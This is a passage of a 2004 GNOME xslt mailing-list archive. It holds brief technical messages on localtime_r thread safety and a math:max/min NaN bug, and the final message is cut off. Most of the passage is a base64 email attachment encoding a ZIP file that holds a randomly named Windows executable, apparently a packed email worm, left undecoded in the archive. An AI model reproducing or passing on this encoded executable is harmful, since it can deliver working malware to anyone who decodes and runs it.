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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAA AAAAAAAAAQABAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAUAAAAKTAAADoAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAQAAAHgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACQwwAA FAAAAAAAAAAAAAAAoJAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA /wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAACHd3d3d3d3d3d3d3cAAAAAj//////////////3AAAAAI//////////////9w AAAACP/3d3d3d3d3d3f/cAAAAAj/9///f/d3/3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3 d3d393f/d3//cAAAAAj/9///f/d3d3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3d3d393f/ d3//cCgoKCgoKCgof////3d//3CCgoKCgoKCgn//9/////9wKP///////yh3d3d3d3//cIL/ ///4KCiCf//3//9//3Ao8oKCgvKCKH//9///f/9wgvgoKC8oL4J3d3d3d3//cCjygoLygo8o f//3//9//3CC/ygvKCgvgn//9///f/9wKP/y8oKP/yh3d3d3d3//cIL/LygoKP+Cf//3//9/ /3Ao8vKCgoKPKH//9///f/9wgvgoKPgoL4J3d3d3gAAAACjygo//go8o/////4//eACC//// ////gv////+P94AAKCgoKCgoKCh3d3//j3gAAIKCgoKCgoKC/////4eAAAAAAAAI//////// //+IAAAAAAAACP//////////gAAAAAAAAAiIiIiIiIiIiIAAAAD///////////4AAAD+AAAA /gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAHAAAAD/4AAB/+AAA/ /gAAf4iTAAAAAAEAAQAgIBAAAQAEAOgCAAABAAAAAAAAAAAAAAAAADDEAAAIxAAAAAAAAAAA AAAAAAAAPcQAABjEAAAAAAAAAAAAAAAAAABKxAAAIMQAAAAAAAAAAAAAAAAAAFbEAAAoxAAA AAAAAAAAAAAAAAAAAAAAAAAAAABgxAAAbsQAAH7EAAAAAAAAjMQAAAAAAACaxAAAAAAAAKrE AAAAAAAAS0VSTkVMMzIuRExMAGFkdmFwaTMyLmRsbABTSEVMTDMyLmRsbAB1c2VyMzIuZGxs AABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3Nl S2V5AAAAU2hlbGxFeGVjdXRlQQAAAEZpbmRXaW5kb3dBAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAABgj1sw Sh/MnQA+AAAAPgAADAAAAAAAAAAAACAAAAAAAAAAbnF2cW9qb3kuZXhlUEsFBgAAAAABAAEA OgAAACo+AAAAAA== ----------vmepndgoflpjiymhigaq-- From igor@zlatkovic.com Sat Feb 28 10:47:33 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.zlatkovic.com (unknown [62.75.159.112]) by mail.gnome.org (Postfix) with ESMTP id 23AF31853F for ; Sat, 28 Feb 2004 10:47:33 -0500 (EST) Received: from zlatkovic.com (pD9E2611A.dip.t-dialin.net [217.226.97.26]) (authenticated bits=0) by mail.zlatkovic.com (8.12.8/8.12.8) with ESMTP id i1SFlPUL022434 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Feb 2004 16:47:26 +0100 Message-ID: <4040B81D.5080602@zlatkovic.com> Date: Sat, 28 Feb 2004 16:47:41 +0100 From: Igor Zlatkovic User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en, de MIME-Version: 1.0 To: xslt@gnome.org, xslt@gnome.org References: <2413.218.103.23.45.1077785450.squirrel@www.delightful.com.hk> In-Reply-To: <2413.218.103.23.45.1077785450.squirrel@www.delightful.com.hk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [xslt] Re: thread-safe function for libexslt Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: William M. Brack wrote: > There is an outstanding bug report > (http://bugzilla.gnome.org/show_bug.cgi?id=129983) requesting that > the call within libexslt to the function "localtime" be changed to a > call to "localtime_r" when libxslt is generated with threading > enabled. That is certainly quite alright on my system, but I'm not > certain whether it might have any "bad" effect on some other OS's. > Does anyone have any good reason why I should not go ahead and > commit this change? I think Windows does not have localtime_r. But go ahead and patch it, I'll sort it out in win32config.h afterwards. Ciao, Igor From xyster_@hotmail.com Sun Feb 29 01:54:35 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from hotmail.com (bay1-f18.bay1.hotmail.com [65.54.245.18]) by mail.gnome.org (Postfix) with ESMTP id 3653518452 for ; Sun, 29 Feb 2004 01:54:32 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 28 Feb 2004 22:36:18 -0800 Received: from 24.5.129.154 by by1fd.bay1.hotmail.msn.com with HTTP; Sun, 29 Feb 2004 06:36:18 GMT X-Originating-IP: [24.5.129.154] X-Originating-Email: [xyster_@hotmail.com] X-Sender: xyster_@hotmail.com From: "Xyster !" To: xslt@gnome.org Date: Sun, 29 Feb 2004 06:36:18 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 29 Feb 2004 06:36:18.0459 (UTC) FILETIME=[566226B0:01C3FE8E] Subject: [xslt] math:max()/math:min() bug? Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, Running the stylesheet below produces: min: NaN max: NaN I tested the same stylesheet with saxon and got the expected, and I assume correct, result: min: 1 max: 5 The stylesheet: 12543 min: max: Thanks, Yuval _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From veillard@redhat.com Sun Feb 29 05:29:51 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 1C34118452 for ; Sun, 29 Feb 2004 05:29:51 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1TATob06817 for ; Sun, 29 Feb 2004 05:29:50 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1TATo808133 for ; Sun, 29 Feb 2004 05:29:50 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1TATkeF011623 for ; Sun, 29 Feb 2004 05:29:46 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1TATklS011621 for xslt@gnome.org; Sun, 29 